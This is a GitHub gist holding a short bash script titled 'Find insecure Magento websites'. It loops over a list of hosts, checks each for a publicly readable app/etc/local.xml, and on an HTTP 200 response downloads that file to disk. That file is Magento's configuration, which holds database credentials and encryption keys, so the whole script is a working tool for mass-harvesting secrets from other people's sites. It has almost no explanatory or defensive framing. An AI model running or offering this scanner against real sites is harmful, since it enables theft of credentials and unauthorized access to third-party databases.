Skip to content

Instantly share code, notes, and snippets.

@cgdangelo
Created March 8, 2012 21:19
Show Gist options
  • Save cgdangelo/2003502 to your computer and use it in GitHub Desktop.
Save cgdangelo/2003502 to your computer and use it in GitHub Desktop.
Find insecure Magento websites
#!/bin/bash
if [ -e "$1" ]; then
dataset=$(cat $1)
elif [ ! -z $1 ]; then
dataset=$@
else
exit 1
fi
tput sgr0
echo
hits=0
tests=0
for i in $dataset; do
response=$(curl --write-out %{http_code} --silent --output /dev/null ${i}/app/etc/local.xml)
echo " trying: $i"
tests=`expr $tests + 1`
if [ "$response" = "200" ]; then
border=''
len=$(expr length $i)
len=$len+43
for (( b=1; b<$len; b++ )); do
border=$border' '
done
echo
echo -e "\E[34;44m${border}"
echo -ne "\E[0m"
echo -e "\E[33;1;44m FOUND: Magento configuration found for $i \E[0m"
echo -ne "\E[0m"
echo -e "\E[34;44m${border}\E[00m"
echo
curl --silent ${i}/app/etc/local.xml > $i.found
hits=`expr $hits + 1`
tput sgr0
fi
done
echo
echo -e " Found $hits of $tests ($((($hits*100)/$tests | bc))%)"
tput sgr0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment